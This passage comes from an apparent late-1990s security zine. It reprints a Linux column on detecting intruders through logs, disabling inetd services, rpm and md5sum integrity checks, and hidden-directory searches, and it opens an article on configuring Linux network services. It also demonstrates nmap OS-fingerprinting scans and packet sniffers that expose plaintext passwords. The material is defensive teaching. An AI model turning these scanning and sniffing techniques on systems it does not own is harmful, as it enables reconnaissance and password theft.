      empty. The actual dates and times for hourly, weekly, and so on are in the 
      /etc/crontab file. 

      From a cracker detection point of view, your secure.? file will be of 
      particular interest. If you turned off all access (other than your local 
      network) as described last week, you can check for possible attempts like 
      this:

           grep refused /var/log/secure*

      Here's the output of an actual attempt. I've blanked out the address for 
      (ahem) security reasons.

      
       Sep 12 07:52:42 netgate in.rlogind[7138]: refused connect from 
       2??.?.5?.?42 Sep 12 07:52:52 netgate in.rshd[7139]: refused connect from 
       2??.?.5?.?42 Sep 12 07:52:55 netgate in.rexecd[7144]: refused connect 
       from 2??.?.5?.?42 Sep 12 07:52:59 netgate imapd[7146]: refused connect 
       from 2??.?.5?.42 Sep 12 07:52:59 netgate in.fingerd[7142]: refused 
       connect from 2??.?.5?.?42 Sep 12 07:53:00 netgate ipop3d[7143]: refused 
       connect from 2??.?.5?.?42 Sep 12 07:53:07 netgate in.ftpd[7147]: refused 
       connect from 2??.?.5?.?42 Sep 12 07:53:10 netgate gn[7145]: refused 
       connect from 2??.?.5?.?42 Sep 12 07:53:22 netgate in.telnetd[7149]: 
       refused connect from 2??.?.5?.?42 Sep 12 07:56:34 netgate imapd[7150]: 
       refused connect from 2??.?.5?.?42

      As you can see, my cracker tried several ports, or services, on my server, 
      netgate, all of which were refused because of my wrapper's configuration 
      and the resulting logs. I took the information from this log and e-mailed 
      it to the security authority of the ISP the       cracker was using. 

      Now, this doesn't mean the cracker will never get in, but you know they 
      are trying and that's a great start. 

      You can also more some of the other files for additional information. The 
      maillog files will give you a picture of what e-mail messages are routing 
      through your machine. If you'd like to see ftp transfers to and from your 
      machine, have a look at the xferlog files.       The other file of 
      interest here is wtmp. 

      To view the contents of wtmp, use the last command--you cannot simply cat 
      or more this file. However, you might want to pipe the output of last to 
      more.

        # last | more

       fishduck ttyp6        nexus            Tue Sep 28
       16:03   still logged in
       birdrat  ttyp5        speedy           Tue Sep 28
       15:57   still logged in
       root     tty1                          Tue Sep 28
       12:54   still logged in
      
      This will give you the contents of the wtmp file which details who logged 
      in when, for how long, and whether they are still logged in. Make sure 
      these are all people who you want to have access. Maybe you don't know who 
      birdrat is. 

      If you haven't checked your logs in a while and you would like to see what 
      is in wtmp.1, use this version of the last command:

          # last -f /var/log/wtmp.1 | more

      The last thing (no pun intended) I would like you to consider this week is 
      the state of the logs themselves. If you find too little activity in your 
      logs, or the logs tend to be sized at zero bytes or missing altogether, 
      that is also important information. Knowing       something is amiss is 
      the first step towards doing something about it. 

      I've run out of space for this week, but let me finish by giving you a 
      hint of where we'll go next. We'll visit the various services, discuss 
      what they do, and decide whether you need them at all. As a treat, I'll 
      show how to use a popular hacker tool, the port       scanner, to better 
      secure your own system. 

      Thwarting the System Cracker, Part 3

      
      by Marcel Gagné <mggagne@salmar.com>                       7-Oct-1999 

      Getting to know your enemy through network ports and port scanners. 

      For the serious newbies out there, here's how networks work on a really, 
      really basic level. Your system's master process, the one that got the 
      system going (after you pushed the 'on' switch that is) is called 'init'. 
      init's process ID is 1. It is always 1. If you want       to check it out, 
      find init in your process table using 'ps'. 

           # ps ax | grep init                 1    ?      S        6:03  init

      One of the services that init starts when your system boots is 'inetd'. 
      Its job is to listen for network requests which it references by way of 
      internet socket numbers or ports. For instance, when you telnet to your 
      system by typing "telnet mysystem", you are       actually requesting that 
      inetd on mysystem starts an in.telnetd process which handles communication 
      over port 23. Then, in.telnetd starts a process which eventually asks for 
      your login name and password and, miraculously, you are logged in. 
      Basically, inetd listens to find out what other daemons should wake up to 
      answer the port request. If you want to see what those service numbers 
      translate to, do a 'more' (or 'less') on /etc/services, a text file that 
      lists the known TCP service ports. 

      From a resources perspective, it makes sense to have a single process 
      listening rather than one for each and every service. For those of you who 
      can remember and visualize such things, picture Lily Tomlin as the 
      telephone operator who (eventually) patches       people through to the 
      party to whom they wished to speak. She is inetd and the people to whom 
      you wish to speak are the service deamons. You request extension 23 and 
      eventually, she puts you through. 

      When inetd starts, it reads a file called inetd.conf . You'll find this 
      one in your '/etc' directory. Here are a couple of sample lines from 
      inetd.conf. 

      #       # These are standard services. # ftp  stream    tcp  nowait    
      root /usr/sbin/tcpd in.ftpd -l -a telnet    stream  tcp    nowait  root    
      /usr/sbin/tcpd     in.telnetd # # Shell, login, exec, comsat and talk are 
      BSD protocols. # shell     stream    tcp  nowait    root /usr/sbin/tcpd 
      in.rshd login     stream    tcp  nowait    root /usr/sbin/tcpd in.rlogind 
      #exec     stream    tcp  nowait    root /usr/sbin/tcpd in.rexecd

      When a cracker first visits your site with the intention of breaking in, 
      he will often employ a tool known as a port scanner to find out what inetd 
      is listening for on your system. 

      One of my favorite port scanners is nmap. You can pick up nmap from 
      http://www.insecure.org/nmap/index.html . The latest version even comes 
      with a nice GUI front end called nmapfe. Let's run nmap against my test 
      system and see what we get. 

      The options are '-sS', for TCP SYN, or half-open scan, and '-O', for OS 
      fingerprinting. OS fingerprinting means that nmap will try to guess the OS 
      version running on the system. A cracker who knows what release of an OS 
      you are running will use that       information to decide on the most 
      likely exploits for a successful entry. Here's the nmap command and the 
      output from my test system. 

         # nmap -sS -O localhost

      Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com,       
      www.insecure.org/nmap/) Interesting ports on localhost (127.0.0.1): Port    
      State       Protocol  Service 21      open        tcp       ftp                     
      23      open        tcp       telnet                  25      open        
      tcp       smtp                    53      open        tcp       domain                  
      79      open        tcp       finger                  80      open        
      tcp       http                    98      open        tcp       linuxconf               
      111     open        tcp       sunrpc                  113     open        
      tcp       auth                    139     open        tcp       
      netbios-ssn             513     open        tcp       login                   
      514     open        tcp       shell                   515     open        
      tcp       printer                 

      TCP Sequence Prediction: Class=random positive increments
                               Difficulty=4360068 (Good luck!)
      Remote operating system guess: Linux 2.1.122 - 2.2.12
      
      Nmap run completed -- 1 IP address (1 host up) scanned in 2
      seconds
      
      Those open ports are the jumping off point for your cracker. With this 
      information, they know what to bother with and what to forget about. If 
      there is no daemon listening on a network port, why bother trying to get 
      in that way? 

      Now, go back and look at your /etc/inetd.conf file. Notice that exec is 
      commented out (there's a hash mark , '#', or octothorp, at the beginning 
      of the line) but login is not. If you reference that with the output of 
      nmap, you'll see that those services not commented       out in inetd.conf 
      are listed while those with the hash mark at the beginning are not. 

      This is how you shut down unnecessary ports monitored by inetd. Your TCP 
      wrapper is keeping an eye on those ports, but if no one needs to have 
      access to remote shell, why have inetd listen for it at all? The wrapper's 
      job is to provide access to specific       services for specific IP 
      addresses. In the first article, we did the quick lock-down with the 
      wrapper. Now, go through your list of services, decide what you need and 
      what you don't, then disable the don'ts by commenting out those lines. 

      To activate the changes, you need to restart inetd. Find inetd's process 
      id and send a SIGHUP to it. That means you do a 'kill - 1' on the process. 
      BE CAREFUL. A 'kill dash 1' looks an awful lot like a 'kill 1'. Do you 
      remember what process had id 1? Kill init       and you kill the whole 
      system. If you are worried and don't mind typing a few extra keystrokes, 
      use 'kill -SIGHUP' instead of 'kill -1'. 

      Now, let's re-run nmap. 

      Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com,       
      www.insecure.org/nmap/) Interesting ports on localhost (127.0.0.1): Port    
      State       Protocol  Service 21      open        tcp       ftp                     
      23      open        tcp       telnet                  25      open        
      tcp       smtp                    53      open        tcp       domain                  
      80      open        tcp       http                    111     open        
      tcp       sunrpc                  113     open        tcp       auth                    
      139     open        tcp       netbios-ssn             515     open        
      tcp       printer                 

      TCP Sequence Prediction: Class=random positive increments                                
      Difficulty=3487082 (Good luck!) Remote operating system guess: Linux 
      2.1.122 - 2.2.12

      Nmap run completed -- 1 IP address (1 host up) scanned in 3       seconds

      This last run is the same as the one previous from a command standpoint, 
      but finger, linuxconf, shell, and login are gone. I could argue that the 
      smart thing would have been to leave rlogin in place and deactivate 
      telnet, but keep in mind that this is an example.       Disabling telnet 
      may not be appropriate for your location. For those services that are run 
      by inetd, disabling them in this manner completely removes them from 
      external access, even beyond your /etc/hosts.allow file (discussed in the 
      first part of this series). 

      What should you disable? If you are running a single, private machine that 
      does not require anyone in the outside world to access it, then just about 
      everything in the list could go. However, if you have a small network with 
      a couple of PCs, you may still want to       run ftp, telnet, or rlogin. 

      One final note. Use tools like port scanners wisely. Use them only to test 
      the security of your own systems and never, never use them to scan other 
      people's systems. Remember, just as you are learning to deal with and 
      watch for the cracker, so can others       watch you. 

      You're right. There's lots more, but once again, I've gone way over my 
      allotted space for the week. Next time around, I'll show you how your 
      system package tools can help you determine if some of you files have been 
      compromised. Until then, take care, and       happy hunting. 

      Thwarting the System Cracker, Part 4

      by Marcel Gagné <mggagne@salmar.com>                   14-Oct-1999 

      This week's episode: verifying the integrity of your files. 

      Comedian Steven Wright expresses an interesting dilemma. Someone broke 
      into his house, he says, stole everything and replaced all those things 
      with an identical copy. In the world of the system cracker, this isn't 
      such a crazy idea. 

      Here's what happens. Using some well-known hole or exploit, a cracker 
      finds his or her way onto your system. Yet, when you do a "ps", there is 
      no evidence. When you do an "ls", there is no evidence. You think your 
      password file looks normal but you can't       be sure. What to do? 

      One of the first things your cracker will do is replace certain files on 
      your system. You will wind up with a new version of "netstat" so that a 
      "netstat -a" does not show any evidence of your cracker's presence. The 
      cracker will also replace any file that might       give him or her away. 

      Some of those files are as follows. 

          /bin/ps           /bin/netstat /usr/bin/top

      Since the files have been replaced, simply doing an "ls" will only confirm 
      that the files are there. There are a number of ways that you can detect 
      modified files on your system. If you are running Red Hat, Caldera, 
      TurboLinux, or any of the releases that use the       Red Hat Package 
      Manager (aka RPM) concept, I'm going to show you a cool way to do this. 

      The first thing you need to do is find out what package these files came 
      from. Using the rpm command , you can identify the location of a file (say 
      "netstat") with this version of the command. 

           # rpm -qf /bin/netstat

      The system comes back with this reply. 

           net-tools-1.51-3

      Now, I can scan this entire package to find out what has been changed with 
      this version of the rpm command. 
      
           rpm -V net-tools   (You can leave off the version info)
      
      Now, on my test system, I've modified my "/bin/netstat" binary (I replaced 
      the 6.0 version with 5.2 in this case). The result of the above command 
      should be nothing -- a return to the shell prompt (the hash mark). 
      Instead, I get this. 

           .......T   /bin/netstat

      The "/bin/netstat" file shows up as having been modified. If I check using 
      rpm (rpm -qf /bin/ps) for the location of "ps" and "/usr/bin/top", I find 
      that they belong to the "procps" package. I will then run an rpm verify on 
      procps. Here's a sample output from a       hacked system. 

           # rpm -qf /bin/ps            procps.2.0.2-2

           # rpm -V procps            SM5..UGT   /bin/ps SM5..UGT   /usr/bin/top

      Our cracker has gone in and replaced our version of "ps" and "top" so that 
      we cannot see the processes he is running, maybe a sniffer or an irc 
      "bots". The sniffer, by the way, is a program that essentially watches all 
      your users' comings and goings and traps       their passwords so that the 
      cracker can use valid user logins to do their work, further hiding their 
      tracks. 

      I'll give you a quick script now to run through your entire rpm database 
      and check all your packages for tampering. Before I do that, I want to 
      give you a warning. Not all files flagged by this report are hacked. For 
      instance, the password file on your system is       not the same as it was 
      when it was first installed. After all, you added at least one user and 
      changed at least one password. Any file that is different from the 
      original install will show up as modified. Binaries, or compiled programs 
      like netstat, should never show up in this list. Here's the little script. 

           #!/bin/bash            # # Run through rpm database and report 
           inconsistencies # for rpmlist in `rpm -qa`      # These quotes are 
           back quotes do echo " ----- $rpmlist -----" ; rpm -V $rpmlist done > 
           /tmp/rpmverify.out

      When you run this script, the output is redirected to the temporary file 
      "/tmp/rpmverify.out". You can use "more" or "less" to view the contents of 
      the file. 

      Since I mentioned that configuration and text files (/etc/passwd, 
      /etc/inetd.conf, etc) will very likely show up as changed when you run 
      this script, how do you know if these are your changes and not those of 
      your cracker? If your system is pristine, or in a state       you can be 
      sure of--such as immediately after an install or an upgrade--you can take 
      "fingerprints" of your files, print out the information and refer to it if 
      you suspect something has changed. 

      A way to do this is with md5sum -- those without rpm (Debian, Slackware, 
      etc) can use this method to fingerprint their binaries as well. Here's the 
      way to do it. I'll use a few files, including some binaries. 

           # md5sum /etc/passwd            d8439475fac2ea638cbad4fd6ca4bc22  
           /etc/passwd

           # md5sum /bin/ps            6d16efee5baecce7a6db7d1e1a088813  /bin/ps

           # md5sum /bin/netsat
           b7dda3abd9a1429b23fd8687ad3dd551  /bin/netstat
      
      Please note. These are the numbers from my system. You don't want to write
      these down. The information will vary based on release and what you have in
      your text and configuration files. Other than the ones mentioned, you might
      want to check the following.
      
      Remember, print the results out and check them from time to time to help you
      determine if the wily cracker has entered your domain. Here are those files. 
      
           /usr/bin/passwd
           /sbin/portmap
           /bin/login
           /bin/ls
           /usr/bin/top
           /etc/inetd.conf
           /etc/services
      
      This should give you a good starting point. Crackers will not change every 
      file on your system and monitoring a few specific files is enough to give you
      a good idea as to whether or not something has been changed without your knowledge. 
      
      Well, it's that time again; the end of another column. Next week, we'll look at
      the things you can't see after a system has been cracked. Just in case you are 
      starting to wonder if we are going to cover anything other than security, rest 
      assured that security is only one of many concerns for the system and network 
      administrator. 
      
      Until next week, take care, and happy hunting! 
      
      Thwarting the System Cracker, Part 5
      
      by Marcel Gagné <mggagne@salmar.com>                                22-Oct-1999 
      
      Adventures in system administration continue with "Looking for the Invisible." 
      
      Hello everyone, and welcome back. After last week's article, I received a few
      panicked e-mails telling me that after using the RPM trick, files like "netstat"
      and "ls" had actually been modified. The question that followed was fairly 
      obvious: "What now?" 
      You have a fair number of options. Depending on the importance of the 
      system, I will usually recommend taking a backup of the user directories, 
      password and other critical system files, and rebuild the system without 
      these files, using the backup as a reference for the new system. I won't 
      just copy those files back. Our cracker may have hidden things in 
      legitimate places and we don't want to let him back in quite that easily. 

      You can also leave the system alone, tie down the host access with TCP 
      wrappers, shutting down non-essential services, and replacing affected 
      packages. Starting clean is important, but we don't always have that 
      luxury -- not immediately anyway. If you       discover that your "procps" 
      or "net-tools" package has been modified by a cracker, the first thing to 
      do is to reinstall the package. Since that package may have been the hole 
      through which your cracker entered, it is usually a good idea to get the 
      latest build from your vendor (RedHat, Caldera, Debian, etc). For the 
      truly paranoid, the fact is that once a cracker has access to your system, 
      they can replace anything, including the very files we use to track down 
      the damage. Like the Shaolin priests in the old TV series, "Kung-Fu", the 
      cracker succeeds by being invisible. 

      Now, let's have a look at those invisible things. 

      Here is a real-life example. After a cracker attack, the machine was tied 
      down, TCP wrappers were installed and all affected packages replaced. It 
      was time to scope out the damage while keeping a close eye on the logs for 
      repeated attempts at break-in.       Looking at the /etc/passwd file, I 
      noticed a user that did not belong on the system, "jon." It looked like a 
      normal passwd entry and did not have root privs. With several users on 
      this machine, our cracker hid nicely in the passwd list. 

      When I went to his home directory (/home/jon) and did an "ls -l", all I 
      got was this. 

      .    ..   ..   .bashrc   .bash_history  .screenrc      emech.tar.gz

      Other than a file called emech.tar.gz, things did not look that strange. 
      Could that be all that was wrong? With a closer look though, you'll notice 
      that there are two ".." directories (pointers to the previous directory in 
      your filesystem hierarchy). That's strange.       However, if I change 
      directory to ".." with "cd ..", I just wind up in the /home directory. 
      What's up? 

      What's up is that there is an extra space after the second dot- dot. I can 
      find this out like this. 

          # cd /home/jon           # echo .* | cat -v

      . .. ..  .bashrc .bash_history .screenrc emech.tar.gz

      Look very closely. Notice how each item is seperated by only one space. 
      Now look between the second "dot-dot" and .bashrc. There are actually two 
      spaces which means the directory is actually "dot-dot-space." To get into 
      that directory and have a look
      around, I do this. 
      
           # cd ".. "
      
      Now an "ls" shows me all this fun stuff. 
      
      randfiles mech.set  mech.pid  checkmech cpu.memory
      mech.help mech.usage     mech mech.levels    emech.users
      psdevtab
      
      That's interesting. Let's see if jon has any more files hidden around the
      disk. Using the find command again, I specify a search for files belonging
      only to this user-id. 
      
           # find / -user jon -print
      
      Aside from what is in the /home/jon directory, I get this partial list. 
      
      /usr/local/bin/.httpd
      /tmp/cl
      /tmp/.l/bcast
      /tmp/.l/.l
      /tmp/.l/imapd
      /tmp/.l/log
      /tmp/.l/pscan
      /tmp/.l/pscan.c
      /tmp/.l/rpc
      /tmp/.l/slice2
      /tmp/.l/sniffer
      /tmp/.l/sxploit
      /tmp/.l/thc
      /tmp/.l/ufs.c
      
      Looking a bit more interesting, isn't it? Sniffers. Port scanners. Our 
      cracker was making quite a home for himself. Furthermore, we discovered 
      two other users coming from different hosts with their own files. Our 
      cracker was either operating from different locations with different IDs 
      or he had friends. 

      In doing this search, there were even files belonging to this cracker in 
      legitimate user directories, including one very scary file, something 
      called "tcp.log." This file was several hundred lines long and contained 
      every telnet and ftp login that had come to and from       the machine. 
      EVERY ONE! Aside from telling the person whose machine had been broken 
      into that they should rebuild the whole thing from scratch, I also told 
      them to change each and every password, not only on this system but on 
      every system they have access to. 

      Here's the scoop. Part of the information your cracker collects is a list 
      of logins and passwords you use on other systems. Why? So they have an 
      easier time breaking into someone else's system. Every system you have 
      been accessing while your cracker has had       access to your system is 
      at risk. You should contact the system administrators of those other 
      systems and inform them of the risk they face. The flip side is that 
      someone logging into your system on a regular basis whose system had been 
      hacked may have give the cracker a valid login and password on your 
      system. Spooky, huh? 

      Here are a few examples to help you search for the hidden and dangerous. 
      For starters, check the user directories for "suid" or "guid" files. These 
      are programs that have an "s" instead of an "x" when you do an ls. For 
      instance, an "ls -l" on /usr/bin/passwd       returns this information. 

      -r-s--x--x   1 root     root        10704 Apr 14  1999 /usr/bin/passwd

      The "s" in the fourth position means that the passwd program acts as root 
      when it is being executed. This is necessary in order to allow users to 
      change their passwords. The second "x" is simply and "x," but an "s" in 
      this position would mean that any user in that       group would act as 
      that group. Programs that can act as a specific user or group are not a 
      bad thing -- usually. That said, for the most part, no regular 
      (non-administrative) user needs to have root-suid files in their home 
      directories. Look for them this way. The
      command assumes that your users are created in the /home directory. 
      
           # find /home -perm -4000 -o -perm -2000 -print
      
      What else can we do? Since we want to speed up the process of finding 
      programs and files left behind by our cracker, a quick way to look for 
      hidden directories would be good. This command will show you those. It 
      will also show you things like ".kde" and so on, but you'll also find 
      things like dot-dot-space and dot-dot-dot, perfect hidey-holes for your 
      cracker. 

           # find / -type d -name ".*" -print

      The "-type d" option means to list directories only. This can be a big 
      list, but it is certainly a smaller one than you would get if you just 
      walked through every file and directory on the system. What's nice here is 
      that your proper dot and dot-dot directories ("."       being the current 
      directory and ".." being the parent directory) do not show up in this 
      list. If you see a dot-dot, it will have some other hidden character 
      following it. 

      I've run out of space, so let's sum up. Blowing away everything on your 
      cracked system and starting over is a quick and dirty approach that lets 
      you create a properly secure system right from scratch. Eventually, this 
      is what you should probably do anyhow. If       your system must be up, 
      using a new box and making that your new production system is probably the 
      next best bet, but providing a brand new system while you investigate the 
      damage to the old one can be costly. PCs are inexpensive, but not 
      everybody is ready to shell out a few thousand to bring another system 
      online. The catch is this -- your cracker has left a wealth of information 
      behind, information you may need. Getting rid of that information is a bit 
      like getting rid of the evidence. It's tough to do an investigation 
      without evidence. Weigh the costs of either decision, then act. But do 
      act. 

      A quick note of thanks for all the comments I've received on this column, 
      and there have been many. As time goes by, I will try to address those 
      issues that you find important. I'd had some second thoughts about 
      starting the system administration column with
      something like security, but from the comments, this issue is in the minds 
      of many. Thanks again. Until next week, happy hunting. 
      
      Thwarting the System Cracker, Part 6

      by Marcel Gagné <mggagne@salmar.com>                         29-Oct-1999 
      
      Do you smell something? An intro to network sniffers. 

      Before we get into today's topic, let me cover a small piece of 
      administrivia. A question that keeps coming up in the feedback letters 
      (yes, we do read those things!) is the one regarding past articles. For 
      recent articles, just click down the News and       Information column 
      until you see the link for MORE ARTICLES (all topics) ... . Click there, 
      and you'll be taken to an archive of past articles. 

      One more note: I firmly believe that the best way to beat the cracker is 
      to understand how the cracker works, what his tools are, how they work, 
      and how your system works. It's vital to understand that the tools I 
      present here are for use on your network. As       much as I would like to 
      make every reader of this column an expert, there will always be things I 
      miss. Without sounding too paranoid, though, I'd like everyone to walk 
      away from these discussions just a little bit paranoid. 

      Last week, I mentioned in my "real life" example that my cracker was using 
      a sniffer to monitor network traffic and collect user names and passwords. 
      Since I did not go into much detail then, I'll try to clarify what I meant 
      by sniffing. Simply put, a sniffer is a       tool that lets you monitor 
      packets as they "fly" across your network interface. You could simply 
      monitor your machine's own traffic, but sniffers use promiscuous mode to 
      scan all packets bound for your network. 

      Allow me to demonstrate. 

      If I run the command ifconfig eth0 on my machine, I get the following 
      output: 

      eth0      Link encap:Ethernet  HWaddr 00:C0:4F:E3:C1:8F                  
      inet addr:192.168.22.2  Bcast:192.168.22.255  Mask:255.255.255.0 UP 
      BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 RX packets:49448 errors:0 
      dropped:0 overruns:0 frame:0 TX packets:33859 errors:0 dropped:0 
      overruns:0 carrier:0 collisions:6 txqueuelen:100 Interrupt:10 Base 
      address:0x300 

      Now let's open up a couple of terminal or xterm windows. In one window, 
      we'll start a sniffer program. The one I'm using is called sniffit and I 
      will start it in interactive mode. 

           # sniffit -i

      In the second window, re-run the ifconfig command and look for the 
      differences. I'll focus on the important line here. 

                                                             
                UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
      
      Notice the addition of the word "PROMISC" in this line, short for 
      "promiscuous mode". What that means is your network interface is 
      indiscriminate as to what network traffic is listening for. Normally, your 
      system is capturing only information bound for your IP address. If you put 
      your network interface in promiscuous mode, it will receive all packets on 
      the network. 

      sniffit is a light, curses-based program that will work in a regular 
      terminal window. I obtained my copy from my Linux vendor's contrib ftp 
      site. You can also visit the web site directly at 
      http://reptile.rug.ac.be/~coder/sniffit/sniffit.html. One of the cool 
      things       about this package is if you hit return on one of the open 
      sockets in the interactive list, you can watch the plaintext traffic going 
      to and from the user's process. Yes, you can actually see what they are 
      typing. (This almost begs a future column on secure shell, doesn't it?) 

      Another similar product is netwatch. This is also a network monitoring 
      tool that shows you what connections are alive on your network. You can 
      get netwatch from the application home page at 
      http://www.slctech.org/~mackay/netwatch.html or various other       
      sources. 

      Now, if you are busy collecting commands to run as part of your system 
      administration toolkit, you could do worse than to check for interfaces 
      running in promiscuous mode. Simply run the ifconfig command and grep for 
      PROMISC, like this: 

           ifconfig | grep PROMISC

      By now, if I've made you so scared of loading anything new on your system, 
      but you would still like to try out a sniffer and see what happens, you're 
      in luck. When you installed your Linux system, you probably also installed 
      a little package called tcpdump.       While not as flashy as the other 
      two sniffers I mentioned, this little program will do the same thing. If 
      you've ever wondered what goes on across your network, you'll find this 
      enlightening. Here's how to do it. From the command line, type the 
      following: 

          # tcpdump

      In a few seconds, you should start seeing packets coming from and going to 
      your system. Here's some output from my system. I told tcpdump to watch 
      for traffic coming to and from www.linuxjournal.com. Notice the -l flag. 
      That is to tell tcpdump to show me       the output I was busy capturing 
      to a file for later perusal. 

         # tcpdump host www.linuxjournal.com -l | tee /tmp/tcpdump.out

      This is what the output looked like when I clicked on the web site 
      address: 

      16:41:49.101002 www2.linuxjournal.com.www > marcel.somedomain.com.1432: F       
      2303148464:2303148464(0) ack 1998428290 win 16352 16:41:49.101206 
      marcel.somedomain.com.1432 > www2.linuxjournal.com.www: . ack 1 win 32120 
      (DF) 16:41:50.001024 www2.linuxjournal.com.www > 
      marcel.somedomain.com.1429: F 1805282316:1805282316(0) ack 1988937134 win 
      16352 16:41:50.001215 marcel.somedomain.com.1429 > 
      www2.linuxjournal.com.www: . ack 1 win 32120 (DF) 16:41:50.840998 
      www2.linuxjournal.com.www > marcel.somedomain.com.1431: F 
      1539885010:1539885010(0) ack 1997163524 win 16352 16:41:50.841198 
      marcel.somedomain.com.1431 > www2.linuxjournal.com.www: . ack 1 win 32120 
      (DF) 16:41:51.494356 marcel.somedomain.com.1429 > 
      www2.linuxjournal.com.www: P 1:335(334) ack 1 win 32120 (DF) 
      16:41:51.497003 marcel.somedomain.com.1433 > www2.linuxjournal.com.www: S 
      2019129753:2019129753(0) win 32120 (DF) 16:41:51.671023 
      www2.linuxjournal.com.www > marcel.somedomain.com.1429:
      R 
      
      There are many sniffer programs available. Some are stripped-down packages 
      that simply keep track of logins and passwords from any telnet or ftp 
      session. Your cracker may use a modified ps to hide the presence of the 
      sniffer as it logs away the hours. It may also have a perfectly innocent 
      name in the process table, even if your "ps" is fine. 

      Enough with the sniffers and on to other things. Way back when I started 
      this column, I made passing reference to CERT. Carnegie Mellon University 
      runs the CERT Coordination Center (http://www.cert.org). If your system 
      has been cracked, you should       consider reporting the incident to 
      CERT. Their web site has extensive security information, and "alerts" 
      describing security issues or software weaknesses. One thing you can and 
      should do is subscribe to the CERT advisories: 

           
      http://www.cert.org/contact_cert/certmaillist.html

      Before I wrap up for yet another week, this final note. To the handful of 
      people whose feedback comments were "What if the cracker changes rpm or 
      md5sum?", you now have an understanding of how tricky this whole security 
      business is. My answer to this       would be, immediately after 
      installing your system and before you hook up to the Internet, get md5sums 
      of md5sum and rpm, print out the results, and store them for future 
      reference. It's nice to know people are paying attention. 

      Trust nothing but hard copy. Until next week, happy hunting! 
      
      @HWA
      
58.0  Crossroads: Linux networking and security
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Introduction to Linux Networking and Security

                              by Wei-Mei Shyr and Brian Borowski 


       Congratulations to ACM Crossroads and Wei-Mei Shyr and Brian Borowski! 
       This article was given an Academic Excellence Award by StudyWeb and a 
       link back to this article can be found on the StudyWeb site under the 
       category Computer Science: Operating Systems: Linux 

                         Linux is a member of the UNIX family but is different 
                         than most UNIX implementations because it provides a 
                         great UNIX server/workstation environment at a low 
                         cost, can be run on a wide variety of platforms, and 
                         contains no proprietary code. In this article, we will 
                         give a brief introduction to the IP networking 
                         services, how to configure them, and how to set up a 
                         relatively secure Linux workstation. Please note that 
                         the examples given here are from the Slackware 
                         distribution. The paths of the files might be different 
                         on other distributions of Linux. 

       Linux TCP/IP Network Services

       Linux supports a full and high quality implementation of the TCP/IP 
       networking protocols. With a network interface card or a modem and PPP, 
       one can connect a machine to a local area network or the Internet and 
       have access to many additional services and network utilities. Linux 
       provides two methods of establishing host-network services. Servers can 
       either run stand-alone or under the control of a program called inetd. 
       Heavily used services will usually run stand-alone. This means the 
       service does all the management and listening on a socket or port. The 
       most common stand-alone services are inetd, syslogd, portmapper, named, 
       and routed. The file /etc/rc.d/rc.inet2 configures the stand-alone 
       services. Here is an example of /etc/rc.d/rc.inet2 

       #!/bin/sh
       #
       # rc.inet2      This shell script boots up the entire INET system.
       # Constants.
       NET="/usr/sbin"
       IN_SERV="lpd"
       LPSPOOL="/var/spool/lpd"
       echo -n "Starting daemons:"

       # Start the SYSLOGD/Klogd daemons.  These must come first.
       if [ -f ${NET}/syslogd ]; then
         echo -n " syslogd"
         ${NET}/syslogd & # Backgrounded to avoid an ugly notice from bash-2.0
         echo -n " klogd"
         ${NET}/klogd
       fi
       ...
       # Start the INET SuperServer
       if [ -f ${NET}/inetd ]; then
         echo -n " inetd"
         ${NET}/inetd
       else
         echo "no INETD found.  INET cancelled!"
         exit 1
       fi
       ....

       However, most services run through inetd. inetd is a daemon or background
       process that starts up near the beginning of the boot sequence in Linux. 
       inetd listens on many ports, and when a connection to a port is requested,
       it starts up the process associated with that port. 

       Examples of services run from inetd are ftp, telnet, finger, pop, imap, 
       and mail/smtp. inetd is like a switch-board operator who receives calls at
       the main number of an organization (the IP address of the machine), and then
       connects the caller to the extension they have requested (the port or socket). 

       There are two files that configure inetd: /etc/services and /etc/inetd.conf
       (which may be in /etc/inet/inetd.conf). Below is an example of /etc/inetd.conf 

       # See "man 8 inetd" for more information.
       #
       # <service_name <sock_type    <server_path 
       #
       # The last 3 services  ( pop3, imap, uucp) are really only used for
       # debugging purposes, so we comment them out since they can 
       # otherwise be used for some nasty denial-of-service attacks.
       # If you need them, uncomment them.
       #
       # ftp and telnet are the standard services.
       #
       ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  wu.ftpd -l -i -a
       telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
       # installed the Pine package, you may wish to switch to ipop3d by
       # commenting out the pop3 line above, and uncommenting the pop3 line below.
       #pop3    stream  tcp     nowait  root    /usr/sbin/tcpd  ipop3d
       # imap2   stream  tcp     nowait  root    /usr/sbin/tcpd  imapd
       #
       # The Internet UUCP service.
       #
       # uucp  stream  tcp     nowait  uucp    /usr/sbin/tcpd  /usr/lib/uucp/uucico
       -l
       ....

       Configuring Network Services 

       To configure the stand-alone services, edit /etc/rc.inet2. Disable a service by commenting out
       the lines related to that service. A line is commented out by placing a # before it. Here is an example
       of a commented out service: 

       #   Start the ROUTEd server.
       # if [ -f ${NET}/routed ]; then
       #   echo -n " routed"
       #   ${NET}/routed -g -s
       # fi

       To configure the inetd services, edit /etc/services and /etc/inetd.conf. The
       /etc/services file associates services with their ports. It lists the name of the service, the port
       number for that service, and the protocol (udp or tcp). Here is the line for the ftp service: 

       ftp      21/tcp

       /etc/inetd.conf contains parameters that determine how the services runs.
       Here is an example of the line for the ftp server: 

       ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  wu.ftpd -l -i -a

       To disable the ftp program, comment it out by putting a # at the beginning of the line. To activate the
       change, reload inetd. This is done by finding the process-id (PID) of inetd, and then sending it the
       hangup signal known as SIGHUP or just HUP. 

       {find out the PID}
       $ ps -aux | grep inetd
       root       479  0.0  0.2 1944 1520 ?        S   Mar 02  1:18 /usr/sbin/inetd
               {   ^ this is the PID}
       $ kill -HUP 479

       The file /etc/services will most likely only need to be edited when adding new services. This
       might be necessary when installing network utilities. 

       Note that we use tcpd to control access to the ftp daemon. The tcpd program is a wrapper
       program that can be set up to monitor incoming requests for telnet, finger, ftp and other
       Internet services. It works as follows: whenever a request for service arrives, the inetd daemon runs
       tcpd, which logs the request and does some checking. When all is well, tcpd runs the appropriate
       server program and goes away. For details, see the tcpd manual page. Access control for tcpd is
       configured using the /etc/hosts.allow and /etc/hosts.deny files. tcpd looks at hosts.allow
       then hosts.deny. It stops at the first match. Consequently, one can permit a few machines to have
